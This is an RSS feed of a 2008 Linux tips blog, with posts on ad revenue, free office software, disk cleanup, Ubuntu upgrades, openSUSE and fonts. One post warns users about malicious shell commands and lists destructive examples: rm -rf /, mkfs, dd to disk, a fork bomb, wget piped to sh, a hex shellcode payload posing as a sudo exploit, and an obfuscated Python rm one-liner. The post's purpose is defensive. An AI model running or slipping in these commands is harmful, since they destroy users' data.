<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>LinuxCooking.com</title>
	<atom:link href="http://linuxcooking.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://linuxcooking.com</link>
	<description>whip up a batch of Linux</description>
	<pubDate>Tue, 12 Aug 2008 00:03:34 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6</generator>
	<language>en</language>
			<item>
		<title>Website Goldmine!</title>
		<link>http://linuxcooking.com/2008/08/12/website-goldmine/</link>
		<comments>http://linuxcooking.com/2008/08/12/website-goldmine/#comments</comments>
		<pubDate>Tue, 12 Aug 2008 00:03:34 +0000</pubDate>
		<dc:creator>cmiller9</dc:creator>
		
		<category><![CDATA[infobyte]]></category>

		<category><![CDATA[website]]></category>

		<guid isPermaLink="false">http://linuxcooking.com/?p=35</guid>
		<description><![CDATA[If you are reading this article to find out just how to make money with a website, I am sorry to disappoint you. I can tell you some ways that have not worked though. I am still looking for that magic formula when the money just starts rolling in.
Website Ads
During my time trying to crack [...]]]></description>
			<content:encoded><![CDATA[<p>If you are reading this article to find out just how to make money with a website, I am sorry to disappoint you. I can tell you some ways that have not worked though. I am still looking for that magic formula when the money just starts rolling in.</p>
<h1>Website Ads</h1>
<p>During my time trying to crack the formula for making money with a webiste, I have tried Google&#8217;s Adsense, affiliate programs, banner ads, Amazon&#8217;s astore, and other avenues for making money. I can not seem to get the maigc formula where the money just starts rolling in like the jackpot on a Slot machine. I have, however,Â  made some money with some of these approachs. So, let&#8217;s break them down!</p>
<h2>Google Adsense</h2>
<p>I have had very mixed results using Google&#8217;s Adsense. Sometimes the fuse appears to be lite for some great returns while other times I think the wick is wet. First let me cover some do&#8217;s. Do be sure to make the ad either blend with your site or alternately contrast your site. Going back and forth between these method can help prevent ad blindness by your surfers. Make sure you adhere to the Google terms and conditions or else you might find your site in trouble. Leave your surfers few choices of outs other than ads on pages you decide to use ads on.</p>
<p>Now for the don&#8217;ts. Reading between the lines of the last statement on the paragraph earlier, do not put ads on every page of your site. I have found this to be a very bad idea. What happened to me was my Click Through Rate (CTR) dropped tremedously. The result of the CTR drop was that Google dropped my Earning Per Click (EPC).Â  Pick your pages to place your ads on wisely. The best way I can think of to accomplish this is experimentation. I have found what I call &#8220;leaf&#8221; pages (pages at the bottom of a tree of web pages) to be the best choice for ad placement. But that is me, you might wish to try your branches or main trunk (home page) depending on your website&#8217;s subject.</p>
<h2>Affiliate Programs</h2>
<p>The easiest way I have found to get into affiliates is through an affiliate service. I have used <a href="http://www.shareasale.com/r.cfm?b=69&amp;u=229424&amp;m=47&amp;urllink=&amp;afftrack=">ShareASale.com</a> with some success. Again, I get mixed results with my affiliates. One minute they appear to be catching on fire and the next, not even warm ashes. I have used the <a href="http://www.shareasale.com/r.cfm?b=69&amp;u=229424&amp;m=47&amp;urllink=&amp;afftrack=">ShareASale.com</a> datafeeds to keep my website up-to-date with the latest product/pricing changes of the various merchants. This feature made it easy to stay on top of the chnages. I also used PPC ads that I purchased to send traffic to my affiliate pages. This is one of the best ways I have found to drive traffic to your affiliate pages but it comes with a lot of attention. You must stay on top of your PPC campaigns or you can find yourself losing money before you know it. Just watch your Return On Investment (ROI) [in other words your cost versuses your income].</p>
<h2>Banner Ads</h2>
<p>Most of the banner ads (image ads) I have used have also been through <a href="http://www.shareasale.com/r.cfm?b=69&amp;u=229424&amp;m=47&amp;urllink=&amp;afftrack=">ShareASale.com</a>. I used OpenAds (now know as OpenX) to serve my banners and my Google Adsense Ads as well. It was a little complicated to setup but once it is up, it is fairly easy to maintain. Maybe I should do a future post about how to set up OpenX. I have had limited success with banner ads on my site. I am not sure if it is because of my website&#8217;s subject matter or I have just done a bad job of setting them up? Guess that means more experimentation is needed.</p>
<h2>Amazon AStore</h2>
<p>Setting up the Amazon Astore is a relatively painless operation. It takes a moment or two to get acclimated but after that, it a breeze. I rather like the concept of Amazon worrying with what sales and me concentrating on my website! I have attempted to integrate the Astore into some of my affiliate pages. Only problem is, noone is buying anything from them.</p>
<h2>Conclusion</h2>
<p>That street of gold still eludes me. If you would like to see my attempts at success, take a look as here is my site <a title="ConcerningAging.com" href="http://www.ConcerningAging.com" target="_blank">ConcerningAging.com</a>. Maybe you will have some insights that can help us both out. Good luck on your adventure for the gold. If you would like to share with us, please add your comments.</p>
]]></content:encoded>
			<wfw:commentRss>http://linuxcooking.com/2008/08/12/website-goldmine/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Suggested Office Tools</title>
		<link>http://linuxcooking.com/2008/06/28/suggested-office-tools/</link>
		<comments>http://linuxcooking.com/2008/06/28/suggested-office-tools/#comments</comments>
		<pubDate>Sat, 28 Jun 2008 17:20:54 +0000</pubDate>
		<dc:creator>cmiller9</dc:creator>
		
		<category><![CDATA[infobyte]]></category>

		<category><![CDATA[mysql]]></category>

		<category><![CDATA[office]]></category>

		<category><![CDATA[OpenOffice.org]]></category>

		<category><![CDATA[ubuntu]]></category>

		<guid isPermaLink="false">http://linuxcooking.com/?p=34</guid>
		<description><![CDATA[Many times I find myself looking for applications that fit my need with a price that fits my budget ($0 most of the time). Sometimes I find applications that fit my need but not my budget like Microsoft Office. I hope you find these choices help you and your family out.
Word Processing
The best word processor [...]]]></description>
			<content:encoded><![CDATA[<p>Many times I find myself looking for applications that fit my need with a price that fits my budget ($0 most of the time). Sometimes I find applications that fit my need but not my budget like Microsoft Office. I hope you find these choices help you and your family out.</p>
<h1>Word Processing</h1>
<p>The best word processor I have found is Open Office Writer. This both fits my needs and its part of a complete suite of Office tools to help me be more productive. You can try this one out yourself by visiting their website at: <a title="openoffice.org" href="http://www.openoffice.org" target="_blank">openoffice.org</a></p>
<p>I have used this software for many years now and have found it most satisfactory. You can&#8217;t beat the price either as this is open source software and is free to the end user. They would certainly not turn down any donations, I am sure if you feel so inclined but use it without obligation.</p>
<p>This software also contains a spreadsheet (like Microsoft Excel) and presentation application (like Microsoft Powerpoint).</p>
<h1>Database</h1>
<p>Sometimes you find yourself in need of some data handling capability. When my needs turn to databases, I turn to MySQL. This is a full featured open source software package (spelled F R E E - which fits my budget).</p>
<p>If you have a need for keeping up with the company inventory or contact list. MySQL can help you. If you tie MySQL to OpenOffice, you have a force to reckoned with. You can put together a professional looking data entry application in short order using these tools.</p>
<p>You can find MySQL through their website at: <a title="MySQL" href="http://www.MySQL.org" target="_blank">MySQL</a></p>
<h1>Desktop Operating System</h1>
<p>If you are tired of an operating system that:</p>
<ul>
<li>is under constant attack by mal-ware (viruses, spyware, worms, etc.)</li>
<li>is way too expensive</li>
<li>is known to take over your computer at most inopportune times (like updates)</li>
</ul>
<p>then it is time to consider other alternatives for your desktop. Today&#8217;s Linux is not just for Geeks anymore. Liunx has come a long way towards becoming user friendly. Upgrades and updates are becoming just the click of a button and initial installation is now almost automatic.</p>
<p>One of the concerns about changing operating systems is always what software will be available to run. The latest version of open source applications (several mentioned in this article) are meeting the needs of desktop users everywhere. Besides, you can always dual boot your computer to use that one piece of software you use once a year that must run under a specific operating system.</p>
<p>You can find many distributions of Linux available. My favorite one (Ubuntu) can be found at this web address: <a title="Ubuntu" href="http://www.ubuntu.com" target="_blank">Ubuntu</a></p>
]]></content:encoded>
			<wfw:commentRss>http://linuxcooking.com/2008/06/28/suggested-office-tools/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Finding Disk Space</title>
		<link>http://linuxcooking.com/2008/06/21/finding-disk-spacefinding-disk-space/</link>
		<comments>http://linuxcooking.com/2008/06/21/finding-disk-spacefinding-disk-space/#comments</comments>
		<pubDate>Sat, 21 Jun 2008 15:22:15 +0000</pubDate>
		<dc:creator>cmiller9</dc:creator>
		
		<category><![CDATA[recipe]]></category>

		<category><![CDATA[system admin]]></category>

		<guid isPermaLink="false">http://linuxcooking.com/?p=33</guid>
		<description><![CDATA[Introduction
How many times have you had your web server stop serving web pages because it was out of disk space? Well, it seems to happen to me quite often. That is why I thought I would put this post together to help find the culprit that&#8217;s eating up my disk space.
Determining where you need space
The [...]]]></description>
			<content:encoded><![CDATA[<h1 id="toc0">Introduction</h1>
<p>How many times have you had your web server stop serving web pages because it was out of disk space? Well, it seems to happen to me quite often. That is why I thought I would put this post together to help find the culprit that&#8217;s eating up my disk space.</p>
<h1 id="toc1">Determining where you need space</h1>
<p>The first thing you need to know is &#8220;where do I need space?&#8221; To find out where (which partition/disk) needs the space use the following command:</p>
<p style="border: medium none; padding: 0pt 0pt 0pt 30px;">df -h</p>
<p>The &#8220;-h&#8221; gives you a human readable format. So you see results like 29M for 29 megabytes versus stuff like 30234524. It is much easier to read the results with the &#8220;-h&#8221;.</p>
<p>Now take a look at the given results from the &#8216;df&#8217; command to see which partition needs space. Here is a sample output:</p>
<table id="Table17Ctable" border="0">
<tbody>
<tr>
<th>Filesystem</th>
<th>Size</th>
<th>Used</th>
<th>Avail</th>
<th>Use%</th>
<th>Mounted on</th>
</tr>
<tr>
<td>/dev/sda3</td>
<td>31G</td>
<td>23G</td>
<td>5.6G</td>
<td>81%</td>
<td>/</td>
</tr>
<tr>
<td>varrun</td>
<td>697M</td>
<td>256K</td>
<td>696M</td>
<td>1%</td>
<td>/var/run</td>
</tr>
<tr>
<td>varlock</td>
<td>697M</td>
<td>0</td>
<td>697M</td>
<td>0%</td>
<td>/var/lock</td>
</tr>
<tr>
<td>udev</td>
<td>697M</td>
<td>88K</td>
<td>696M</td>
<td>1%</td>
<td>/dev</td>
</tr>
<tr>
<td>devshm</td>
<td>697M</td>
<td>12K</td>
<td>697M</td>
<td>1%</td>
<td>/dev/shm</td>
</tr>
<tr>
<td>/dev/sda6</td>
<td>24G</td>
<td>16G</td>
<td>7.4G</td>
<td>68%</td>
<td>/home</td>
</tr>
</tbody>
</table>
<p>As you can see my root partition (&#8221;/&#8221;) is 81% used. If I was having disk space troubles, this figure could be as much as 100%.</p>
<h1 id="toc2">Finding the Big Files</h1>
<p>With the information about where we are running low on disk space from the section above, change directories to the start of that partition using the &#8216;cd&#8217; command as follows:</p>
<p style="border: medium none; padding: 0pt 0pt 0pt 30px;">cd /</p>
<p>If my root partition was low on disk space that is the partition I would go to.</p>
<p>Now, I am ready to determine which files are taking up the majority of my disk space. Use something like the following command to accomplish this:</p>
<p style="border: medium none; padding: 0pt 0pt 0pt 30px;">find . -size +20M -exec du -h \{\} \;</p>
<p>This command will first find file of size 20MB or larger. Next it passes that file over to the &#8216;du&#8217; (disk usage) command to show us in human readable format (-h) the size of the file.</p>
<p>That is quite a handy little command.</p>
<h1 id="toc3">Removing Large Numbers of Files</h1>
<p>Sometimes you may find that you have a directory with a large number of files that you wish to get rid of. However, the normal method of using the &#8220;rm&#8221; (remove) command comes back and complains that the list is too long. What do you do now? Well, don&#8217;t despair use the following command to solve this dilemma:</p>
<p style="border: medium none; padding: 0pt 0pt 0pt 30px;">find /tmp -type f -exec rm -f \{\} \;</p>
<p>Be very careful using a command like this. This one if JUST an example. Read the man page on &#8216;find&#8217; to see just how useful this command really is. This particular commandline will find all files (-type f) in the /tmp directory and pass the filenames to the &#8220;-exec&#8221; command. In this case the &#8220;&#8221;exec&#8221; command is the remove command (rm). The &#8220;-f&#8221; forces deletion quietly. The curly braces are replaced by the find command with the filename being passed in. The semicolon (with the backslash in front) is the required end of command marker.</p>
<p>Luckily the find command is pretty quick and VERY useful!</p>
]]></content:encoded>
			<wfw:commentRss>http://linuxcooking.com/2008/06/21/finding-disk-spacefinding-disk-space/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Upgrading Your Ubuntu Distribution</title>
		<link>http://linuxcooking.com/2008/06/20/upgrading-your-ubuntu-distribution/</link>
		<comments>http://linuxcooking.com/2008/06/20/upgrading-your-ubuntu-distribution/#comments</comments>
		<pubDate>Fri, 20 Jun 2008 01:45:15 +0000</pubDate>
		<dc:creator>cmiller9</dc:creator>
		
		<category><![CDATA[recipe]]></category>

		<category><![CDATA[system admin]]></category>

		<category><![CDATA[ubuntu]]></category>

		<category><![CDATA[Upgrading Ubuntu]]></category>

		<guid isPermaLink="false">http://linuxcooking.com/2008/06/20/upgrading-your-ubuntu-distribution/</guid>
		<description><![CDATA[Introduction
I am writing this post because the first time I attempted to upgrade a major distribution change, I did it without researching the right way to do it. Needless to say, it did not go well. So, I am putting this together to help those of you willing to &#8220;read the instructions&#8221;.
First thing to know [...]]]></description>
			<content:encoded><![CDATA[<h1>Introduction</h1>
<p>I am writing this post because the first time I attempted to upgrade a major distribution change, I did it without researching the right way to do it. Needless to say, it did not go well. So, I am putting this together to help those of you willing to &#8220;read the instructions&#8221;.</p>
<p>First thing to know is that there are different types of distribution upgrades. If you are upgrading within a major distribution (like say &#8216;Hardy&#8217;), then you use the &#8220;Minor&#8221; release method. However, if you are upgrading from one &#8220;Long Term Support&#8221; version to another (like &#8216;Dapper&#8217; to &#8216;Hardy&#8217;), then use the &#8220;Major&#8221; release method below.</p>
<h1>Determining which Release you are running</h1>
<p>There are multiple ways to determine which release you are currently running. Here are a few of them (choice one):</p>
<ol>
<li>lsb_release -a</li>
<li>more /etc/lsb-release</li>
<li>uname -a</li>
</ol>
<p><strong>NOTE</strong>: The last method will not give you the current release name (like &#8216;Gutsy&#8217;) but only the release number (like &#8216;2.6.24-19-server&#8217;).</p>
<h1>Minor Release Upgrade Method</h1>
<p>Use the following steps as a guide to upgrade from one minor release to another:</p>
<ol>
<li>apt-get update</li>
<li>apt-get upgrade</li>
<li>apt-get dist-upgrade</li>
</ol>
<p><strong>NOTE</strong>: if you are not running as root you will have to use &#8217;sudo&#8217; (without quotes) before each of the above commands.</p>
<h1>Major Release Upgrade Method</h1>
<p>Here are some guidelines for upgrading from one major release to another:</p>
<ol>
<li>apt-get update</li>
<li>apt-get upgrade</li>
<li>apt-get install update-manager-core</li>
<li>do-release-upgrade</li>
</ol>
<p><strong>NOTE</strong>: if you are not running as root you will have to use &#8217;sudo&#8217; (without quotes) before each of the above commands.</p>
]]></content:encoded>
			<wfw:commentRss>http://linuxcooking.com/2008/06/20/upgrading-your-ubuntu-distribution/feed/</wfw:commentRss>
		</item>
		<item>
		<title>my openSUSE desktop experience</title>
		<link>http://linuxcooking.com/2008/01/26/my-opensuse-desktop-experience/</link>
		<comments>http://linuxcooking.com/2008/01/26/my-opensuse-desktop-experience/#comments</comments>
		<pubDate>Sat, 26 Jan 2008 21:03:56 +0000</pubDate>
		<dc:creator>deviamp</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<category><![CDATA[openSUSE]]></category>

		<guid isPermaLink="false">http://linuxcooking.com/2008/01/26/my-opensuse-desktop-experience/</guid>
		<description><![CDATA[A while back I wrote about my experience installing openSUSE 10.3, and today I decided to share some of my impressions of the openSUSE 10.3 desktop.

Overall, openSUSE seems much more polished and professional than Ubuntu. It comes with nice default graphical startup and shutdown screens and the text details look nice too. The default Log-in [...]]]></description>
			<content:encoded><![CDATA[<p>A while back I wrote about my experience installing openSUSE 10.3, and today I decided to share some of my impressions of the openSUSE 10.3 desktop.</p>
<p><span id="more-31"></span></p>
<p>Overall, openSUSE seems much more polished and professional than Ubuntu. It comes with nice default graphical startup and shutdown screens and the text details look nice too. The default Log-in and Log-out sounds are very pleasant. A Tango-ish Industrial icon theme is used by default, and custom splashscreens have been made for applications such as OpenOffice. Green and blue are nice colors for an operating system, but I&#8217;m not sure if I like the complementary yellow (but then again themes are highly subjective plus easily changed, so it doesn&#8217;t matter).</p>
<p>Speaking of theme changes, one of the first changes I made was to increase the font dpi to 96 to make them readable, and change the fonts to DejaVu Sans with subpixel rendering (which actually works under openSUSE). I changed the theme controls to the familiar Clearlooks (which for some reason seems slightly different than Ubuntu&#8217;s version?), and also looked at some of the other very nice themes and backgrounds included by default.</p>
<p>I noticed Slab menu and Clock applet&#8217;s text was slightly cut off using the Clearlooks theme. While I was looking at panel applets, I also noticed that the Clock applet in openSUSE includes a world time feature, and that one of my favorite Tomboy features, To Do Lists, is also included (the To Do List feature is not included in the current Ubuntu 8.04 Hardy Heron version of Tomboy). I tried to add the Deskbar applet, but it immediately crashed instead. This was the first of the few problems I had with openSUSE.</p>
<p>I had very few problems running openSUSE. Some things were unfamiliar and different, such as the use of gnomesu instead of gksudo, the Slab menu, and the Yast2 Control Panel, but the biggest problem, one I had anticipated, was package management. I was surprised at how easy it was to add repositories. I simply opened the Installation Sources tool and added some of the repositories for my favorite software listed on <a href="http://en.opensuse.org/Additional_YaST_Package_Repositories" title="YaST Package Repositories">this page</a>. Installing software from the repositories was not incredibly difficult, just a little different from what I was used to, but upgrading was very unintuitive. I had a number of updates available that were the Update Notifier applet failed to notify me about. I installed apt-for-rpm and synaptic, which made things a little more familiar, but everything about rpm package management just seemed very slow and unintuitive. I experienced a taste of so-called dependency hell while attempting to update, which was very frustrating because I used the official repositories listed on the official openSUSE website.</p>
<p>One positive about openSUSE&#8217;s software is that the default selection includes some of my favorite applications and games, some of which have been modified and improved. I was excited when OpenOffice.org loaded after its professional-looking splash without the font rendering problems which plague the Ubuntu version. The Microsoft TrueType core fonts are also included by default, which boosts openSUSE&#8217;s compatibility. Firefox too has its improvements. openSUSE&#8217;s Firefox uses native tabs and its menus have icons just like any other application. The form widgets are not fixed in the openSUSE version, which was a disappointment, as was running Evolution and Banshee expecting improvements in them as well (especially as they are both Novell apps). I was about to shut down the system for the night a little disappointed when I noticed another modification, in the shut down dialog.</p>
<p>Novell is working very hard to create a Linux distribution that is polished and professional, and easy to use by a wide variety of people. I believe they are succeeding in openSUSE, but there is still a ways to go. I look forward to testing openSUSE 11!</p>
]]></content:encoded>
			<wfw:commentRss>http://linuxcooking.com/2008/01/26/my-opensuse-desktop-experience/feed/</wfw:commentRss>
		</item>
		<item>
		<title>my openSUSE installation experience</title>
		<link>http://linuxcooking.com/2008/01/21/my-opensuse-installation-experience/</link>
		<comments>http://linuxcooking.com/2008/01/21/my-opensuse-installation-experience/#comments</comments>
		<pubDate>Mon, 21 Jan 2008 18:56:42 +0000</pubDate>
		<dc:creator>deviamp</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<category><![CDATA[openSUSE]]></category>

		<guid isPermaLink="false">http://linuxcooking.com/2008/01/21/my-opensuse-installation-experience/</guid>
		<description><![CDATA[Yesterday I said I wanted to try out openSUSE 10.3. Today, I downloaded and installed it, and decided to post about my experiences.
openSUSE and Ubuntu both have live cd versions that allow a user to boot into the operating system without installing to or using the hard disk. With the Ubuntu live cd, a user [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday I said I wanted to try out openSUSE 10.3. Today, I downloaded and installed it, and decided to post about my experiences.</p>
<p>openSUSE and Ubuntu both have live cd versions that allow a user to boot into the operating system without installing to or using the hard disk. With the Ubuntu live cd, a user can also choose to install the operating system from the live cd.</p>
<p>I decided to stick with GNOME (and probably will until the release of KDE 4.1, which I am looking forward to very much) and downloaded the openSUSE 10.3 GNOME install cd. The download was a little slow (only about 80 kbps instead of my usual 300 or so, maybe because of recent Novell server issues), but after a while it finished and I burned it to a cd. I backed up my personal data on Ubuntu, and then rebooted into the openSUSE installer.</p>
<p>The initial bootup screen is nice, green is a good color for an operating system and I like the “Welcome” message in multiple languages, but the resolution is not quite correct. I am prompted to select my installation options, and this brings up the another comparison I want to make between Ubuntu and openSUSE.</p>
<p>The openSUSE installer gives the user a lot more control over the install, which is good for advanced users, but can be confusing to beginners. The openSUSE installer is very usable for advanced users, perhaps more usable than Ubuntu&#8217;s alternate (non-graphical) installer. For a new user installing openSUSE, the default choices are good, but Ubuntu&#8217;s installer is probably better for such users, and also is faster and more streamlined.</p>
<p>Anyway, I choose the basic installation without options (the second menu choice) and after a while I am taken to an installation screen with a number of steps. The first step is a Media Check, which I skip (probably not the best idea). The second step is about the License Agreement, which I accept and then move on to the third step, choosing Installation Mode. Anyway, I proceed through each step of the installation usually keeping the defaults, except for things like partitioning and also disabling automatic login. The entire installation process takes about an hour and a half, but probably would take considerably less time if I did not choose to use online updates during the install (my connection to Novell/openSUSE servers is always slow). I reboot because of a kernel upgrade, and then complete the installation. Finally I can log into my new openSUSE desktop.</p>
]]></content:encoded>
			<wfw:commentRss>http://linuxcooking.com/2008/01/21/my-opensuse-installation-experience/feed/</wfw:commentRss>
		</item>
		<item>
		<title>my openSUSE experience</title>
		<link>http://linuxcooking.com/2008/01/21/my-opensuse-experience/</link>
		<comments>http://linuxcooking.com/2008/01/21/my-opensuse-experience/#comments</comments>
		<pubDate>Mon, 21 Jan 2008 00:48:38 +0000</pubDate>
		<dc:creator>deviamp</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<category><![CDATA[openSUSE]]></category>

		<guid isPermaLink="false">http://linuxcooking.com/2008/01/21/my-opensuse-experience/</guid>
		<description><![CDATA[Having only used Debian-based Linux distros in the past, I have mostly formed my opinion of rpm distributions from other people&#8217;s horror stories about .rpm package management and the like. Still, the lastest version of the SUSE Linux distribution, now called openSUSE, looks very promising, and I will be trying it out in the near [...]]]></description>
			<content:encoded><![CDATA[<p>Having only used Debian-based Linux distros in the past, I have mostly formed my opinion of rpm distributions from other people&#8217;s horror stories about .rpm package management and the like. Still, the lastest version of the SUSE Linux distribution, now called openSUSE, looks very promising, and I will be trying it out in the near future</p>
<p>I have never really used any Linux distributions before other than Ubuntu (which I love&#8230;mostly) and Linux Mint (which is just ok), so I am eager to try something new, to broaden my horizons and to learn something more about the world of Linux. I&#8217;ll probably be a little biased against openSUSE because of the things I had heard about its package management and about Novell&#8217;s “evil” deal with Microsoft, but I want to give it a try myself.</p>
]]></content:encoded>
			<wfw:commentRss>http://linuxcooking.com/2008/01/21/my-opensuse-experience/feed/</wfw:commentRss>
		</item>
		<item>
		<title>infobyte: dangerous shell commands</title>
		<link>http://linuxcooking.com/2008/01/03/infobyte-dangerous-shell-commands/</link>
		<comments>http://linuxcooking.com/2008/01/03/infobyte-dangerous-shell-commands/#comments</comments>
		<pubDate>Thu, 03 Jan 2008 02:46:29 +0000</pubDate>
		<dc:creator>deviamp</dc:creator>
		
		<category><![CDATA[infobyte]]></category>

		<category><![CDATA[development]]></category>

		<category><![CDATA[system admin]]></category>

		<guid isPermaLink="false">http://linuxcooking.com/2008/01/03/infobyte-dangerous-shell-commands/</guid>
		<description><![CDATA[Recently, there was an announcement on www.ubuntuforums.org warning users against malicious shell commands that might be run accidently by unsuspecting or inexperienced users. I wanted to spread the warning by posting it here.
For the education of Linux users everywhere, here are some common examples of dangerous commands that should raise a bright red flag. Again, [...]]]></description>
			<content:encoded><![CDATA[<p>Recently, there was an announcement on <a href="http://www.ubuntuforums.org" title="UbuntuForums">www.ubuntuforums.org</a> warning users against malicious shell commands that might be run accidently by unsuspecting or inexperienced users. I wanted to spread the warning by posting it here.</p>
<p>For the education of Linux users everywhere, here are some common examples of dangerous commands that should raise a bright red flag. Again, <strong>these are extremely dangerous and should not be attempted on a computer that has any physical connection to valuable data</strong> &#8212; many of them will even cause damage from a LiveCD environment.</p>
<p><span id="more-28"></span></p>
<p>Again, <strong>DANGEROUS COMMANDS</strong> &#8212; look but <strong>DO NOT RUN</strong>.</p>
<p>Also, <strong>this is far from an exhaustive list</strong>, but should give you some clues as to what kind of things people may try to trick you into doing. Remember this can always be <strong>disguised</strong> in an obfuscated command or as a part of a long procedure, so the bottom line is take caution for yourself when something just doesn&#8217;t &#8220;feel right&#8221;.</p>
<p>1. Delete all files, delete current directory, and delete visible files in current directory. It&#8217;s quite obvious why these commands can be dangerous to execute.<br />
<code>rm -rf /</code><br />
<code>rm -rf .</code><br />
<code>rm -rf *</code></p>
<p>2. Another interesting one comes up when trying to delete all hidden entries in a directory (hidden entries start with a &#8220;.&#8221;) You may be tempted to use:<br />
<code>rm -r .*</code></p>
<p>The only problem is that .., the link to the previous directory, will be matched by this and this will in turn delete everything above this directory level (oops!). A possible alternative that I can think of for this would be<br />
<code>rm -r .[^.]*</code><br />
which will exclude the entry &#8220;..&#8221;. Of course, it probably has limitations of not matching certain entries, fixing which is an exercise left to the reader.</p>
<p>3. Reformat: Data on device mentioned after the mkfs command will be destroyed and replaced with a blank filesystem.<br />
<code>mkfs</code><br />
<code>mkfs.ext3</code><br />
<code>mkfs.anything</code></p>
<p>4. Block device manipulation: Causes raw data to be written to a block device. Often times this will clobber the filesystem and cause total loss of data:<br />
<code>any_command &gt; /dev/sda</code><br />
<code>dd if=something of=/dev/sda</code></p>
<p>5. Forkbomb: Executes a huge number of processes until system freezes, forcing you to do a hard reset which may cause corruption, data damage, or other awful fates.<br />
In Bourne-ish shells, like Bash: (This thing looks really intriguing and curiousity provokes)<br />
<code>:(){:|:&amp;};:</code></p>
<p>In Perl:<br />
<code>fork while fork</code></p>
<p>6. Tarbomb: Someone asks you to extract a tar archive into an existing directory. This tar archive can be crafted to explode into a million files, or inject files into the system by guessing filenames. You should make the habit of decompressing tars inside a cleanly made directory</p>
<p>7. Decompression bomb: Someone asks you to extract an archive which appears to be a small download. In reality it&#8217;s highly compressed data and will inflate to hundreds of GB&#8217;s, filling your hard drive. You should not touch data from an untrusted source</p>
<p>8. Shellscript: Someone gives you the link to a shellscript to execute. This can contain any command he chooses &#8212; benign or malevolent. Do not execute code from people you don&#8217;t trust<br />
<code>wget http://some_place/some_file</code><br />
<code>sh ./some_file</code></p>
<p><code>wget http://some_place/some_file -O- | sh</code></p>
<p>9. Compiling code: Someone gives you source code then tells you to compile it. It is easy to hide malicious code as a part of a large wad of source code, and source code gives the attacker a lot more creativity for disguising malicious payloads. Do not compile OR execute the compiled code unless the source is of some well-known application, obtained from a reputable site (i.e. SourceForge, the author&#8217;s homepage, an Ubuntu address).</p>
<p>A famous example of this surfaced on a mailing list disguised as a proof of concept sudo exploit claiming that if you run it, sudo grants you root without a shell. In it was this payload:<br />
<code>char esp[] __attribute__ ((section(&#8221;.text&#8221;))) /* e.s.p</code></p>
<p><code>release */</code></p>
<p><code>= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"</code></p>
<p><code>"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"</code></p>
<p><code>"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"</code></p>
<p><code>"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"</code></p>
<p><code>"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"</code></p>
<p><code>"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"</code></p>
<p><code>"\x6e\x2f\x73\x68\x00\x2d\x63\x00"</code></p>
<p><code>"cp -p /bin/sh /tmp/.beyond; chmod 4755</code></p>
<p><code>/tmp/.beyond;";</code></p>
<p>To the new or even lightly experienced computer user, this looks like the &#8220;hex code gibberish stuff&#8221; that is so typical of a safe proof-of-concept. However, this actually runs rm -rf ~ / &amp; which will destroy your home directory as a regular user, or all files as root. If you could see this command in the hex string, then you don&#8217;t need to be reading this announcement. Otherwise, remember that these things can come in very novel forms &#8212; watch out.</p>
<p>Again, recall these are not at all comprehensive and you should not use this as a checklist to determine if a command is dangerous or not!</p>
<p>For example, 30 seconds in Python yields something like this:<br />
<code>python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))&#8217;</code></p>
<p>Where &#8220;<code>sn!.sg!+</code>&#8221; is simply <code>rm -rf *</code> shifted a character up. Of course this is a silly example &#8212; I wouldn&#8217;t expect anyone to be foolish enough to paste this monstrous thing into their terminal without suspecting something might be wrong.</p>
]]></content:encoded>
			<wfw:commentRss>http://linuxcooking.com/2008/01/03/infobyte-dangerous-shell-commands/feed/</wfw:commentRss>
		</item>
		<item>
		<title>recipe: install Microsoft TrueType fonts in Ubuntu</title>
		<link>http://linuxcooking.com/2008/01/03/recipe-install-microsoft-truetype-fonts/</link>
		<comments>http://linuxcooking.com/2008/01/03/recipe-install-microsoft-truetype-fonts/#comments</comments>
		<pubDate>Thu, 03 Jan 2008 02:10:42 +0000</pubDate>
		<dc:creator>deviamp</dc:creator>
		
		<category><![CDATA[recipe]]></category>

		<category><![CDATA[office]]></category>

		<guid isPermaLink="false">http://linuxcooking.com/2008/01/03/recipe-install-microsoft-truetype-fonts/</guid>
		<description><![CDATA[Even if you use primarily free software and free fonts, you might want to install the Microsoft TrueType fonts so that Microsoft Office documents will look the way they were intended to look. Also, most webpages are designed with Microsoft fonts in mind, so after installing these fonts, they will look the way they are [...]]]></description>
			<content:encoded><![CDATA[<p>Even if you use primarily free software and free fonts, you might want to install the Microsoft TrueType fonts so that Microsoft Office documents will look the way they were intended to look. Also, most webpages are designed with Microsoft fonts in mind, so after installing these fonts, they will look the way they are intended to look. This &#8220;recipe&#8221; will tell you how to install the Microsoft TrueType fonts in Ubuntu 8.04 (Hardy Heron).</p>
<p>The Truetype Microsoft fonts provided by the package include:</p>
<ul>
<li>  Andale Mono</li>
<li>  Arial Black</li>
<li>  Arial (Bold, Italic, Bold Italic)</li>
<li>  Comic Sans MS (Bold)</li>
<li>  Courier New (Bold, Italic, Bold Italic)</li>
<li>  Georgia (Bold, Italic, Bold Italic)</li>
<li>  Impact</li>
<li>  Times New Roman (Bold, Italic, Bold Italic)</li>
<li>  Trebuchet (Bold, Italic, Bold Italic)</li>
<li>  Verdana (Bold, Italic, Bold Italic)</li>
<li>  Webdings</li>
</ul>
<p><span id="more-27"></span></p>
<p><strong>Requirements:</strong></p>
<ul>
<li>administrator privledges (able to use the “<code>sudo</code>” command)</li>
